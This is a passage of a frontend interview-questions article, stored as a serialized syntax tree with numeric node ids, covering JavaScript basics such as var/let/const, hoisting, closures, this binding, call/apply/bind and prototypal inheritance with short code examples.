ignore ",[18,43732,42316],{},[18,43734,42351],{},", and top/bottom margin.",[59,43737,43738,43740,43741,43743,43744,581,43746,43748,43749,385],{},[18,43739,43693],{}," is the hybrid. It sits next to other inline things like ",[18,43742,43690],{},", but it respects ",[18,43745,42316],{},[18,43747,42351],{},", and margins like ",[18,43750,42981],{},[11,43752,43753,43755,43756,43758],{},[18,43754,43693],{}," was hugely important before Flexbox existed, for things like horizontal lists of items. Today you usually reach for Flexbox or Grid instead, but ",[18,43757,43693],{}," is still useful for small things like custom badges that need an explicit size while flowing inline.",[29,43760,43762],{"id":43761},"javascript-questions","JavaScript Questions",[34,43764,43766,43767,581,43769,626,43771,1349],{"id":43765},"_36-what-is-the-difference-between-var-let-and-const","36. What is the difference between ",[18,43768,43170],{},[18,43770,5401],{},[18,43772,230],{},[11,43774,43775],{},"All three declare a variable, but they behave differently in three important ways: scope, hoisting, and reassignment.",[479,43777,43778,43796],{},[482,43779,43780],{},[485,43781,43782,43784,43788,43792],{},[488,43783,40092],{},[488,43785,43786],{},[18,43787,43170],{},[488,43789,43790],{},[18,43791,5401],{},[488,43793,43794],{},[18,43795,230],{},[498,43797,43798,43811,43826,43837],{},[485,43799,43800,43803,43806,43809],{},[503,43801,43802],{},"Scope",[503,43804,43805],{},"Function",[503,43807,43808],{},"Block",[503,43810,43808],{},[485,43812,43813,43816,43821,43824],{},[503,43814,43815],{},"Hoisted",[503,43817,43818,43819,3335],{},"Yes (initialised to ",[18,43820,8597],{},[503,43822,43823],{},"Yes (in the temporal dead zone)",[503,43825,43823],{},[485,43827,43828,43831,43833,43835],{},[503,43829,43830],{},"Reassignable",[503,43832,3298],{},[503,43834,3298],{},[503,43836,5999],{},[485,43838,43839,43842,43844,43846],{},[503,43840,43841],{},"Redeclarable in same scope",[503,43843,3298],{},[503,43845,5999],{},[503,43847,5999],{},[11,43849,43850,43852,43853,592,43855,43857],{},[18,43851,43170],{}," was the only option for years, and its function scope and hoisting behaviour caused a lot of bugs. ",[18,43854,5401],{},[18,43856,230],{}," were introduced in ES6 (2015) and are scoped to the nearest block (the curly braces), which matches how variables work in most other languages and how people intuitively expect them to work.",[11,43859,43860,43861,43863,43864,43866,43867,43869],{},"The modern guideline almost everyone follows: default to ",[18,43862,230],{},", switch to ",[18,43865,5401],{}," only when you actually need to reassign, and never use ",[18,43868,43170],{}," in new code.",[34,43871,43873],{"id":43872},"_37-what-is-hoisting","37. What is hoisting?",[11,43875,43876],{},"Hoisting is the way the JavaScript engine processes declarations before running your code. Conceptually, you can imagine the engine reading your function or script top to bottom once, finding every variable and function declaration, and \"moving\" them to the top.",[11,43878,43879],{},"The catch is that not everything is hoisted the same way:",[56,43881,43882,43888,43899],{},[59,43883,43884,43887],{},[62,43885,43886],{},"Function declarations"," are hoisted with their body, so you can call them above where they are written.",[59,43889,43890,43895,43896,43898],{},[62,43891,43892,43894],{},[18,43893,43170],{}," declarations"," are hoisted, but only the declaration. The value is ",[18,43897,8597],{}," until the assignment line runs.",[59,43900,43901,43907,43908,385],{},[62,43902,43903,592,43905,43894],{},[18,43904,5401],{},[18,43906,230],{}," are hoisted too, but they are in the \"temporal dead zone\" until the line is reached. Touching them earlier throws a ",[18,43909,43910],{},"ReferenceError",[123,43912,43914],{"className":388,"code":43913,"language":390,"meta":128,"style":128},"console.log(a)  // undefined (var is hoisted with undefined)\nconsole.log(b)  // ReferenceError (let is in TDZ)\nconsole.log(greet())  // 'Hi' (function declaration is fully hoisted)\n\nvar a = 1\nlet b = 2\nfunction greet() { return 'Hi' }\n",[18,43915,43916,43928,43940,43957,43961,43973,43984],{"__ignoreMap":128},[132,43917,43918,43920,43922,43925],{"class":134,"line":135},[132,43919,3889],{"class":138},[132,43921,3143],{"class":158},[132,43923,43924],{"class":138},"(a)  ",[132,43926,43927],{"class":397},"// undefined (var is hoisted with undefined)\n",[132,43929,43930,43932,43934,43937],{"class":134,"line":149},[132,43931,3889],{"class":138},[132,43933,3143],{"class":158},[132,43935,43936],{"class":138},"(b)  ",[132,43938,43939],{"class":397},"// ReferenceError (let is in TDZ)\n",[132,43941,43942,43944,43946,43948,43951,43954],{"class":134,"line":176},[132,43943,3889],{"class":138},[132,43945,3143],{"class":158},[132,43947,243],{"class":138},[132,43949,43950],{"class":158},"greet",[132,43952,43953],{"class":138},"())  ",[132,43955,43956],{"class":397},"// 'Hi' (function declaration is fully hoisted)\n",[132,43958,43959],{"class":134,"line":186},[132,43960,190],{"emptyLinePlaceholder":189},[132,43962,43963,43965,43968,43970],{"class":134,"line":193},[132,43964,43170],{"class":209},[132,43966,43967],{"class":138}," a ",[132,43969,162],{"class":209},[132,43971,43972],{"class":233}," 1\n",[132,43974,43975,43977,43980,43982],{"class":134,"line":206},[132,43976,5401],{"class":209},[132,43978,43979],{"class":138}," b ",[132,43981,162],{"class":209},[132,43983,4686],{"class":233},[132,43985,43986,43988,43991,43994,43996,43999],{"class":134,"line":222},[132,43987,260],{"class":209},[132,43989,43990],{"class":158}," greet",[132,43992,43993],{"class":138},"() { ",[132,43995,972],{"class":209},[132,43997,43998],{"class":165}," 'Hi'",[132,44000,14078],{"class":138},[11,44002,44003,44004,592,44006,44008],{},"Hoisting is mostly a curiosity once you switch to ",[18,44005,5401],{},[18,44007,230],{},", but it shows up in interviews because it tests whether you understand how the engine actually thinks about your code.",[34,44010,44012],{"id":44011},"_38-what-is-the-temporal-dead-zone-tdz","38. What is the temporal dead zone (TDZ)?",[11,44014,44015,44016,1334,44018,44020,44021,385],{},"The temporal dead zone is the period from the start of a block until the line where a ",[18,44017,5401],{},[18,44019,230],{}," is declared. During that window, the variable exists in the engine's mind but cannot be accessed. Touching it throws a ",[18,44022,43910],{},[123,44024,44026],{"className":388,"code":44025,"language":390,"meta":128,"style":128},"{\n    console.log(x)  // ReferenceError: Cannot access 'x' before initialization\n    let x = 5\n}\n",[18,44027,44028,44033,44045,44058],{"__ignoreMap":128},[132,44029,44030],{"class":134,"line":135},[132,44031,44032],{"class":138},"{\n",[132,44034,44035,44037,44039,44042],{"class":134,"line":149},[132,44036,3140],{"class":138},[132,44038,3143],{"class":158},[132,44040,44041],{"class":138},"(x)  ",[132,44043,44044],{"class":397},"// ReferenceError: Cannot access 'x' before initialization\n",[132,44046,44047,44050,44053,44055],{"class":134,"line":176},[132,44048,44049],{"class":209},"    let",[132,44051,44052],{"class":138}," x ",[132,44054,162],{"class":209},[132,44056,44057],{"class":233}," 5\n",[132,44059,44060],{"class":134,"line":186},[132,44061,281],{"class":138},[11,44063,44064,44065,44067,44068,44070],{},"The reason the TDZ exists is to catch bugs. With ",[18,44066,43170],{},", you could read a variable before it was assigned and silently get ",[18,44069,8597],{},", which made typos and ordering mistakes hard to spot. The TDZ turns those into loud errors instead.",[34,44072,44074,44075,592,44078,1349],{"id":44073},"_39-what-is-the-difference-between-and","39. What is the difference between ",[18,44076,44077],{},"==",[18,44079,4582],{},[11,44081,44082,44084,44085,44087,44088,44090],{},[18,44083,44077],{}," is loose equality, which means it compares values and converts types if they differ. ",[18,44086,4582],{}," is strict equality, which compares values without any type conversion: if the types are different, it returns ",[18,44089,4614],{}," immediately.",[123,44092,44094],{"className":388,"code":44093,"language":390,"meta":128,"style":128},"0 == '0'             // true (string '0' is coerced to number)\n0 === '0'            // false (different types)\nnull == undefined    // true (special case)\nnull === undefined   // false\n'' == false          // true\n'' === false         // false\n",[18,44095,44096,44109,44121,44133,44144,44155],{"__ignoreMap":128},[132,44097,44098,44100,44103,44106],{"class":134,"line":135},[132,44099,246],{"class":233},[132,44101,44102],{"class":209}," ==",[132,44104,44105],{"class":165}," '0'",[132,44107,44108],{"class":397},"             // true (string '0' is coerced to number)\n",[132,44110,44111,44113,44116,44118],{"class":134,"line":149},[132,44112,246],{"class":233},[132,44114,44115],{"class":209}," ===",[132,44117,44105],{"class":165},[132,44119,44120],{"class":397},"            // false (different types)\n",[132,44122,44123,44125,44127,44130],{"class":134,"line":176},[132,44124,719],{"class":233},[132,44126,44102],{"class":209},[132,44128,44129],{"class":233}," undefined",[132,44131,44132],{"class":397},"    // true (special case)\n",[132,44134,44135,44137,44139,44141],{"class":134,"line":186},[132,44136,719],{"class":233},[132,44138,44115],{"class":209},[132,44140,44129],{"class":233},[132,44142,44143],{"class":397},"   // false\n",[132,44145,44146,44148,44150,44152],{"class":134,"line":193},[132,44147,13616],{"class":165},[132,44149,44102],{"class":209},[132,44151,12088],{"class":233},[132,44153,44154],{"class":397},"          // true\n",[132,44156,44157,44159,44161,44163],{"class":134,"line":206},[132,44158,13616],{"class":165},[132,44160,44115],{"class":209},[132,44162,12088],{"class":233},[132,44164,44165],{"class":397},"         // false\n",[11,44167,44168,44169,44171,44172,44175,44176,592,44178,44180],{},"Loose equality has so many surprising corners (the table of cases is genuinely confusing) that virtually every modern style guide bans it. Use ",[18,44170,4582],{}," everywhere by default. The one common exception is ",[18,44173,44174],{},"value == null",", which is a concise way to check for both ",[18,44177,719],{},[18,44179,8597],{}," at once, and many codebases allow that single pattern.",[34,44182,44184],{"id":44183},"_40-what-are-truthy-and-falsy-values","40. What are truthy and falsy values?",[11,44186,44187,44188,44190,44191,44190,44193,44195,44196,44198,44199,44202,44203,385],{},"When JavaScript expects a boolean (an ",[18,44189,1170],{},", a ",[18,44192,14057],{},[18,44194,14346],{},"), it converts whatever you gave it into one. Values that convert to ",[18,44197,4614],{}," are called ",[62,44200,44201],{},"falsy",", and everything else is ",[62,44204,44205],{},"truthy",[11,44207,44208,44209,581,44211,581,44213,581,44216,44219,44220,44222,44223,581,44225,626,44227,44230],{},"There are exactly eight falsy values: ",[18,44210,4614],{},[18,44212,246],{},[18,44214,44215],{},"-0",[18,44217,44218],{},"0n"," (BigInt zero), ",[18,44221,13616],{}," (empty string), ",[18,44224,719],{},[18,44226,8597],{},[18,44228,44229],{},"NaN",". That is the whole list. Memorising it is genuinely useful.",[123,44232,44234],{"className":388,"code":44233,"language":390,"meta":128,"style":128},"if (user.name) { ... }   // runs if name is a non empty string\nif (items.length) { ... } // runs if there are any items\n",[18,44235,44236,44251],{"__ignoreMap":128},[132,44237,44238,44240,44243,44245,44248],{"class":134,"line":135},[132,44239,1170],{"class":209},[132,44241,44242],{"class":138}," (user.name) { ",[132,44244,18033],{"class":209},[132,44246,44247],{"class":138}," }   ",[132,44249,44250],{"class":397},"// runs if name is a non empty string\n",[132,44252,44253,44255,44258,44260,44263,44265,44267],{"class":134,"line":149},[132,44254,1170],{"class":209},[132,44256,44257],{"class":138}," (items.",[132,44259,3662],{"class":233},[132,44261,44262],{"class":138},") { ",[132,44264,18033],{"class":209},[132,44266,3869],{"class":138},[132,44268,44269],{"class":397},"// runs if there are any items\n",[11,44271,44272,44273,592,44276,44279,44280,44283,44284,44287],{},"The classic trap: ",[18,44274,44275],{},"[]",[18,44277,44278],{},"{}"," are truthy. An empty array or empty object is ",[62,44281,44282],{},"not"," falsy. So ",[18,44285,44286],{},"if ([])"," runs the body, which surprises a lot of beginners.",[34,44289,44291,44292,44294,44295,1349],{"id":44290},"_41-what-is-null-vs-undefined","41. What is ",[18,44293,719],{}," vs ",[18,44296,8597],{},[11,44298,44299],{},"Both mean \"no value,\" but they are used in different situations.",[11,44301,44302,44304,44305,44307,44308,44310],{},[18,44303,8597],{}," is what JavaScript itself uses when something has not been set. A declared but unassigned variable, a missing function argument, a property that does not exist on an object: all of these are ",[18,44306,8597],{},". You usually do not assign ",[18,44309,8597],{}," yourself.",[11,44312,44313,44315,44316,44319,44320,44323,44324,44326],{},[18,44314,719],{}," is what ",[62,44317,44318],{},"you"," assign when you want to express \"intentionally empty.\" For example, you might initialise a ",[18,44321,44322],{},"currentUser"," variable to ",[18,44325,719],{}," to say \"we know there is no user yet, and that is on purpose.\"",[123,44328,44330],{"className":388,"code":44329,"language":390,"meta":128,"style":128},"let x\nconsole.log(x)  // undefined (never assigned)\n\nlet user = null  // I am declaring there is no user right now\n",[18,44331,44332,44339,44350,44354],{"__ignoreMap":128},[132,44333,44334,44336],{"class":134,"line":135},[132,44335,5401],{"class":209},[132,44337,44338],{"class":138}," x\n",[132,44340,44341,44343,44345,44347],{"class":134,"line":149},[132,44342,3889],{"class":138},[132,44344,3143],{"class":158},[132,44346,44041],{"class":138},[132,44348,44349],{"class":397},"// undefined (never assigned)\n",[132,44351,44352],{"class":134,"line":176},[132,44353,190],{"emptyLinePlaceholder":189},[132,44355,44356,44358,44361,44363,44366],{"class":134,"line":186},[132,44357,5401],{"class":209},[132,44359,44360],{"class":138}," user ",[132,44362,162],{"class":209},[132,44364,44365],{"class":233}," null",[132,44367,44368],{"class":397},"  // I am declaring there is no user right now\n",[11,44370,44371,44372,4621,44375,44378,44379,44381],{},"A famous historical bug: ",[18,44373,44374],{},"typeof null",[18,44376,44377],{},"'object'",", even though ",[18,44380,719],{}," is not an object. This was a mistake in the original implementation and is now too late to fix without breaking the web.",[34,44383,44385],{"id":44384},"_42-what-is-a-closure","42. What is a closure?",[11,44387,44388],{},"A closure is what happens when a function \"remembers\" the variables from the scope where it was defined, even after that outer scope has finished running. It is one of the most powerful ideas in JavaScript and the foundation of a huge number of patterns.",[123,44390,44392],{"className":388,"code":44391,"language":390,"meta":128,"style":128},"function counter() {\n    let count = 0\n    return function () {\n        count += 1\n        return count\n    }\n}\n\nconst next = counter()\nnext()  // 1\nnext()  // 2\nnext()  // 3\n",[18,44393,44394,44403,44414,44423,44433,44440,44444,44448,44452,44465,44476,44485],{"__ignoreMap":128},[132,44395,44396,44398,44401],{"class":134,"line":135},[132,44397,260],{"class":209},[132,44399,44400],{"class":158}," counter",[132,44402,266],{"class":138},[132,44404,44405,44407,44410,44412],{"class":134,"line":149},[132,44406,44049],{"class":209},[132,44408,44409],{"class":138}," count ",[132,44411,162],{"class":209},[132,44413,7330],{"class":233},[132,44415,44416,44418,44420],{"class":134,"line":176},[132,44417,706],{"class":209},[132,44419,4920],{"class":209},[132,44421,44422],{"class":138}," () {\n",[132,44424,44425,44428,44431],{"class":134,"line":186},[132,44426,44427],{"class":138},"        count ",[132,44429,44430],{"class":209},"+=",[132,44432,43972],{"class":233},[132,44434,44435,44437],{"class":134,"line":193},[132,44436,862],{"class":209},[132,44438,44439],{"class":138}," count\n",[132,44441,44442],{"class":134,"line":206},[132,44443,870],{"class":138},[132,44445,44446],{"class":134,"line":222},[132,44447,281],{"class":138},[132,44449,44450],{"class":134,"line":227},[132,44451,190],{"emptyLinePlaceholder":189},[132,44453,44454,44456,44459,44461,44463],{"class":134,"line":252},[132,44455,230],{"class":209},[132,44457,44458],{"class":233}," next",[132,44460,237],{"class":209},[132,44462,44400],{"class":158},[132,44464,4951],{"class":138},[132,44466,44467,44470,44473],{"class":134,"line":257},[132,44468,44469],{"class":158},"next",[132,44471,44472],{"class":138},"()  ",[132,44474,44475],{"class":397},"// 1\n",[132,44477,44478,44480,44482],{"class":134,"line":269},[132,44479,44469],{"class":158},[132,44481,44472],{"class":138},[132,44483,44484],{"class":397},"// 2\n",[132,44486,44487,44489,44491],{"class":134,"line":278},[132,44488,44469],{"class":158},[132,44490,44472],{"class":138},[132,44492,44493],{"class":397},"// 3\n",[11,44495,44496,44497,44500,44501,44503,44504,44506,44507,44509],{},"When ",[18,44498,44499],{},"counter()"," finishes, you might expect ",[18,44502,3861],{}," to vanish. It does not, because the inner function still holds a reference to it. Each call to ",[18,44505,44499],{}," produces a fresh ",[18,44508,3861],{}," and a fresh closure, so two counters do not share state.",[11,44511,44512],{},[1268,44513],{"alt":44514,"src":44515},"Closure illustration","/post-images/top-100-frontend-interview-questions/javascript-closure-diagram.png",[11,44517,44518],{},"Closures are how data privacy works in JavaScript (\"private\" variables are just variables captured in a closure), how event handlers remember which item they are bound to, and how functional patterns like currying and memoisation are implemented.",[34,44520,44522],{"id":44521},"_43-what-is-the-difference-between-function-declarations-and-function-expressions","43. What is the difference between function declarations and function expressions?",[11,44524,3374,44525,44528,44529,44531],{},[62,44526,44527],{},"function declaration"," uses the ",[18,44530,260],{}," keyword as a statement and gives the function a name. It is hoisted with its body, so you can call it above the line it is defined on.",[11,44533,3374,44534,44537,44538,4319,44540,4319,44542,385],{},[62,44535,44536],{},"function expression"," is a function used as a value: assigned to a variable, passed as an argument, or returned. It is not hoisted as a function; only the variable name (if any) is hoisted following the rules of ",[18,44539,43170],{},[18,44541,5401],{},[18,44543,230],{},[123,44545,44547],{"className":388,"code":44546,"language":390,"meta":128,"style":128},"sayHi()                              // works\nfunction sayHi() { console.log('hi') }\n\nsayBye()                             // ReferenceError or TypeError\nconst sayBye = function () { console.log('bye') }\n",[18,44548,44549,44560,44580,44584,44595],{"__ignoreMap":128},[132,44550,44551,44554,44557],{"class":134,"line":135},[132,44552,44553],{"class":158},"sayHi",[132,44555,44556],{"class":138},"()                              ",[132,44558,44559],{"class":397},"// works\n",[132,44561,44562,44564,44567,44570,44572,44574,44577],{"class":134,"line":149},[132,44563,260],{"class":209},[132,44565,44566],{"class":158}," sayHi",[132,44568,44569],{"class":138},"() { console.",[132,44571,3143],{"class":158},[132,44573,243],{"class":138},[132,44575,44576],{"class":165},"'hi'",[132,44578,44579],{"class":138},") }\n",[132,44581,44582],{"class":134,"line":176},[132,44583,190],{"emptyLinePlaceholder":189},[132,44585,44586,44589,44592],{"class":134,"line":186},[132,44587,44588],{"class":158},"sayBye",[132,44590,44591],{"class":138},"()                             ",[132,44593,44594],{"class":397},"// ReferenceError or TypeError\n",[132,44596,44597,44599,44602,44604,44606,44609,44611,44613,44616],{"class":134,"line":193},[132,44598,230],{"class":209},[132,44600,44601],{"class":158}," sayBye",[132,44603,237],{"class":209},[132,44605,4920],{"class":209},[132,44607,44608],{"class":138}," () { console.",[132,44610,3143],{"class":158},[132,44612,243],{"class":138},[132,44614,44615],{"class":165},"'bye'",[132,44617,44579],{"class":138},[11,44619,44620,44621,44623],{},"In practice, most modern code uses expressions (often arrow functions assigned to ",[18,44622,230],{},"), because they are predictable: you cannot accidentally use them before they are defined.",[34,44625,44627],{"id":44626},"_44-what-are-arrow-functions-and-how-are-they-different-from-regular-functions","44. What are arrow functions and how are they different from regular functions?",[11,44629,44630],{},"Arrow functions are a shorter syntax for writing functions, introduced in ES6. They look like this:",[123,44632,44634],{"className":388,"code":44633,"language":390,"meta":128,"style":128},"const add = (a, b) => a + b\nconst square = n => n * n\nconst greet = () => console.log('hi')\n",[18,44635,44636,44664,44686],{"__ignoreMap":128},[132,44637,44638,44640,44643,44645,44647,44649,44651,44653,44655,44657,44659,44661],{"class":134,"line":135},[132,44639,230],{"class":209},[132,44641,44642],{"class":158}," add",[132,44644,237],{"class":209},[132,44646,5454],{"class":138},[132,44648,23],{"class":697},[132,44650,581],{"class":138},[132,44652,18048],{"class":697},[132,44654,5284],{"class":138},[132,44656,2662],{"class":209},[132,44658,43967],{"class":138},[132,44660,15268],{"class":209},[132,44662,44663],{"class":138}," b\n",[132,44665,44666,44668,44671,44673,44676,44678,44681,44683],{"class":134,"line":149},[132,44667,230],{"class":209},[132,44669,44670],{"class":158}," square",[132,44672,237],{"class":209},[132,44674,44675],{"class":697}," n",[132,44677,2675],{"class":209},[132,44679,44680],{"class":138}," n ",[132,44682,4683],{"class":209},[132,44684,44685],{"class":138}," n\n",[132,44687,44688,44690,44692,44694,44696,44698,44700,44702,44704,44706],{"class":134,"line":176},[132,44689,230],{"class":209},[132,44691,43990],{"class":158},[132,44693,237],{"class":209},[132,44695,19719],{"class":138},[132,44697,2662],{"class":209},[132,44699,5289],{"class":138},[132,44701,3143],{"class":158},[132,44703,243],{"class":138},[132,44705,44576],{"class":165},[132,44707,249],{"class":138},[11,44709,44710],{},"But they are not just shorter syntax; they have a few important behavioural differences.",[56,44712,44713,44725,44731,44742],{},[59,44714,44715,44716,44718,44719,44721,44722,44724],{},"They do ",[62,44717,44282],{}," have their own ",[18,44720,8604],{},". They inherit ",[18,44723,8604],{}," from the surrounding scope, which is exactly what you usually want inside callbacks.",[59,44726,44727,44728,44730],{},"They cannot be used with ",[18,44729,4555],{}," (they are not constructors).",[59,44732,44733,44734,44737,44738,44741],{},"They do not have their own ",[18,44735,44736],{},"arguments"," object; use rest parameters (",[18,44739,44740],{},"...args",") instead.",[59,44743,44744,44745,9122],{},"They cannot be generators (",[18,44746,44747],{},"function*",[11,44749,44750,44751,44753,44754,385],{},"The practical guidance: use arrow functions for short callbacks and pure functions; use regular ",[18,44752,260],{}," for object methods and constructors where you need a real ",[18,44755,8604],{},[34,44757,44759,44760,44762],{"id":44758},"_45-what-is-this-in-javascript","45. What is ",[18,44761,8604],{}," in JavaScript?",[11,44764,44765,44767,44768,44771,44772,44775],{},[18,44766,8604],{}," is a special keyword whose value is decided by how a function is ",[62,44769,44770],{},"called",", not where it is ",[62,44773,44774],{},"defined",". That is what makes it confusing for people coming from other languages.",[11,44777,44778],{},"The main rules are:",[56,44780,44781,44799,44812,44825,44843],{},[59,44782,44783,5454,44786,44789,44790,44792,44793,44795,44796,44798],{},[62,44784,44785],{},"Standalone call",[18,44787,44788],{},"fn()","): ",[18,44791,8604],{}," is the global object (",[18,44794,11697],{}," in browsers), or ",[18,44797,8597],{}," in strict mode.",[59,44800,44801,5454,44804,44789,44807,1850,44809,385],{},[62,44802,44803],{},"Method call",[18,44805,44806],{},"obj.fn()",[18,44808,8604],{},[18,44810,44811],{},"obj",[59,44813,44814,5454,44819,44789,44822,44824],{},[62,44815,44816,44818],{},[18,44817,4555],{}," call",[18,44820,44821],{},"new Fn()",[18,44823,8604],{}," is the brand new object being created.",[59,44826,44827,5454,44830,581,44833,581,44836,44789,44839,1850,44841,385],{},[62,44828,44829],{},"Explicit binding",[18,44831,44832],{},"fn.call(x)",[18,44834,44835],{},"fn.apply(x)",[18,44837,44838],{},"fn.bind(x)",[18,44840,8604],{},[18,44842,4668],{},[59,44844,44845,44848,44849,44851],{},[62,44846,44847],{},"Arrow function",": arrow functions ignore all of the above and inherit ",[18,44850,8604],{}," from the surrounding lexical scope.",[123,44853,44855],{"className":388,"code":44854,"language":390,"meta":128,"style":128},"const user = {\n    name: 'Ada',\n    greet() {\n        console.log(this.name)\n    }\n}\n\nuser.greet()                    // 'Ada'\nconst fn = user.greet\nfn()                            // undefined or error (lost binding)\nfn.call(user)                   // 'Ada' (rebound)\n",[18,44856,44857,44867,44875,44882,44895,44899,44903,44907,44920,44932,44942],{"__ignoreMap":128},[132,44858,44859,44861,44863,44865],{"class":134,"line":135},[132,44860,230],{"class":209},[132,44862,6182],{"class":233},[132,44864,237],{"class":209},[132,44866,316],{"class":138},[132,44868,44869,44871,44873],{"class":134,"line":149},[132,44870,8928],{"class":138},[132,44872,5754],{"class":165},[132,44874,2377],{"class":138},[132,44876,44877,44880],{"class":134,"line":176},[132,44878,44879],{"class":158},"    greet",[132,44881,266],{"class":138},[132,44883,44884,44886,44888,44890,44892],{"class":134,"line":186},[132,44885,4814],{"class":138},[132,44887,3143],{"class":158},[132,44889,243],{"class":138},[132,44891,8604],{"class":233},[132,44893,44894],{"class":138},".name)\n",[132,44896,44897],{"class":134,"line":193},[132,44898,870],{"class":138},[132,44900,44901],{"class":134,"line":206},[132,44902,281],{"class":138},[132,44904,44905],{"class":134,"line":222},[132,44906,190],{"emptyLinePlaceholder":189},[132,44908,44909,44912,44914,44917],{"class":134,"line":227},[132,44910,44911],{"class":138},"user.",[132,44913,43950],{"class":158},[132,44915,44916],{"class":138},"()                    ",[132,44918,44919],{"class":397},"// 'Ada'\n",[132,44921,44922,44924,44927,44929],{"class":134,"line":252},[132,44923,230],{"class":209},[132,44925,44926],{"class":233}," fn",[132,44928,237],{"class":209},[132,44930,44931],{"class":138}," user.greet\n",[132,44933,44934,44936,44939],{"class":134,"line":257},[132,44935,5050],{"class":158},[132,44937,44938],{"class":138},"()                            ",[132,44940,44941],{"class":397},"// undefined or error (lost binding)\n",[132,44943,44944,44947,44950,44953],{"class":134,"line":269},[132,44945,44946],{"class":138},"fn.",[132,44948,44949],{"class":158},"call",[132,44951,44952],{"class":138},"(user)                   ",[132,44954,44955],{"class":397},"// 'Ada' (rebound)\n",[11,44957,44958,44959,44962,44963,44965,44966,44969,44970,385],{},"A common bug is passing ",[18,44960,44961],{},"user.greet"," as a callback and being surprised that ",[18,44964,8604],{}," is no longer the user. Either bind it explicitly with ",[18,44967,44968],{},".bind(user)",", or wrap it in an arrow function that captures the right ",[18,44971,8604],{},[34,44973,44975,44976,581,44978,626,44981,1349],{"id":44974},"_46-what-is-the-difference-between-call-apply-and-bind","46. What is the difference between ",[18,44977,44949],{},[18,44979,44980],{},"apply",[18,44982,44983],{},"bind",[11,44985,44986,44987,44989],{},"All three are methods on functions that let you control what ",[18,44988,8604],{}," is when the function runs. The difference is in how they pass arguments and whether they invoke the function immediately.",[56,44991,44992,45004,45014],{},[59,44993,44994,44997,44998,45000,45001,45003],{},[18,44995,44996],{},"fn.call(thisArg, a, b, c)",": calls ",[18,44999,5050],{}," immediately with the given ",[18,45002,8604],{}," and a list of arguments.",[59,45005,45006,44997,45009,45000,45011,45013],{},[18,45007,45008],{},"fn.apply(thisArg, [a, b, c])",[18,45010,5050],{},[18,45012,8604],{}," and an array of arguments.",[59,45015,45016,45019,45020,12629,45023,45025,45026,45029],{},[18,45017,45018],{},"fn.bind(thisArg, a)",": returns a ",[62,45021,45022],{},"new function",[18,45024,8604],{}," permanently set to ",[18,45027,45028],{},"thisArg",", and optionally with some arguments pre filled. You call it later.",[123,45031,45033],{"className":388,"code":45032,"language":390,"meta":128,"style":128},"function greet(greeting, name) { return `${greeting}, ${name}` }\n\ngreet.call(null, 'Hi', 'Ada')         // 'Hi, Ada'\ngreet.apply(null, ['Hi', 'Ada'])      // 'Hi, Ada'\n\nconst sayHi = greet.bind(null, 'Hi')\nsayHi('Ada')                          // 'Hi, Ada'\n",[18,45034,45035,45067,45071,45097,45121,45125,45148],{"__ignoreMap":128},[132,45036,45037,45039,45041,45043,45046,45048,45050,45052,45054,45056,45058,45061,45063,45065],{"class":134,"line":135},[132,45038,260],{"class":209},[132,45040,43990],{"class":158},[132,45042,243],{"class":138},[132,45044,45045],{"class":697},"greeting",[132,45047,581],{"class":138},[132,45049,3866],{"class":697},[132,45051,44262],{"class":138},[132,45053,972],{"class":209},[132,45055,5805],{"class":165},[132,45057,45045],{"class":138},[132,45059,45060],{"class":165},"}, ${",[132,45062,3866],{"class":138},[132,45064,6400],{"class":165},[132,45066,14078],{"class":138},[132,45068,45069],{"class":134,"line":149},[132,45070,190],{"emptyLinePlaceholder":189},[132,45072,45073,45076,45078,45080,45082,45084,45087,45089,45091,45094],{"class":134,"line":176},[132,45074,45075],{"class":138},"greet.",[132,45077,44949],{"class":158},[132,45079,243],{"class":138},[132,45081,719],{"class":233},[132,45083,581],{"class":138},[132,45085,45086],{"class":165},"'Hi'",[132,45088,581],{"class":138},[132,45090,5754],{"class":165},[132,45092,45093],{"class":138},")         ",[132,45095,45096],{"class":397},"// 'Hi, Ada'\n",[132,45098,45099,45101,45103,45105,45107,45110,45112,45114,45116,45119],{"class":134,"line":186},[132,45100,45075],{"class":138},[132,45102,44980],{"class":158},[132,45104,243],{"class":138},[132,45106,719],{"class":233},[132,45108,45109],{"class":138},", [",[132,45111,45086],{"class":165},[132,45113,581],{"class":138},[132,45115,5754],{"class":165},[132,45117,45118],{"class":138},"])      ",[132,45120,45096],{"class":397},[132,45122,45123],{"class":134,"line":193},[132,45124,190],{"emptyLinePlaceholder":189},[132,45126,45127,45129,45131,45133,45136,45138,45140,45142,45144,45146],{"class":134,"line":206},[132,45128,230],{"class":209},[132,45130,44566],{"class":233},[132,45132,237],{"class":209},[132,45134,45135],{"class":138}," greet.",[132,45137,44983],{"class":158},[132,45139,243],{"class":138},[132,45141,719],{"class":233},[132,45143,581],{"class":138},[132,45145,45086],{"class":165},[132,45147,249],{"class":138},[132,45149,45150,45152,45154,45156,45159],{"class":134,"line":222},[132,45151,44553],{"class":158},[132,45153,243],{"class":138},[132,45155,5754],{"class":165},[132,45157,45158],{"class":138},")                          ",[132,45160,45096],{"class":397},[11,45162,45163,45164,45167,45168,45170,45171,45174,45175,45177,45178,45181,45182,45184],{},"Mnemonic: ",[62,45165,45166],{},"C","all uses ",[62,45169,45166],{},"ommas, ",[62,45172,45173],{},"A","pply uses an ",[62,45176,45173],{},"rray, ",[62,45179,45180],{},"B","ind makes a ",[62,45183,45180],{},"ound copy you call later.",[34,45186,45188],{"id":45187},"_47-what-is-prototypal-inheritance","47. What is prototypal inheritance?",[11,45190,45191,45192,45195,45196,385],{},"Every object in JavaScript has a hidden link to another object called its ",[62,45193,45194],{},"prototype",". When you ask for a property that does not exist directly on the object, the engine walks up that chain looking for it, until it finds the property or hits ",[18,45197,719],{},[11,45199,45200],{},[1268,45201],{"alt":45202,"src":45203},"Prototype chain diagram","/post-images/top-100-frontend-interview-questions/prototype-chain-diagram.png",[123,45205,45207],{"className":388,"code":45206,"language":390,"meta":128,"style":128},"const animal = { eats: true }\nconst rabbit = Object.create(animal)\nrabbit.jumps = true\n\nconsole.log(rabbit.jumps)  // true (own property)\nconsole.log(rabbit.eats)   // true (found on animal via prototype)\n",[18,45208,45209,45225,45243,45252,45256,45268],{"__ignoreMap":128},[132,45210,45211,45213,45216,45218,45221,45223],{"class":134,"line":135},[132,45212,230],{"class":209},[132,45214,45215],{"class":233}," animal",[132,45217,237],{"class":209},[132,45219,45220],{"class":138}," { eats: ",[132,45222,1853],{"class":233},[132,45224,14078],{"class":138},[132,45226,45227,45229,45232,45234,45237,45240],{"class":134,"line":149},[132,45228,230],{"class":209},[132,45230,45231],{"class":233}," rabbit",[132,45233,237],{"class":209},[132,45235,45236],{"class":138}," 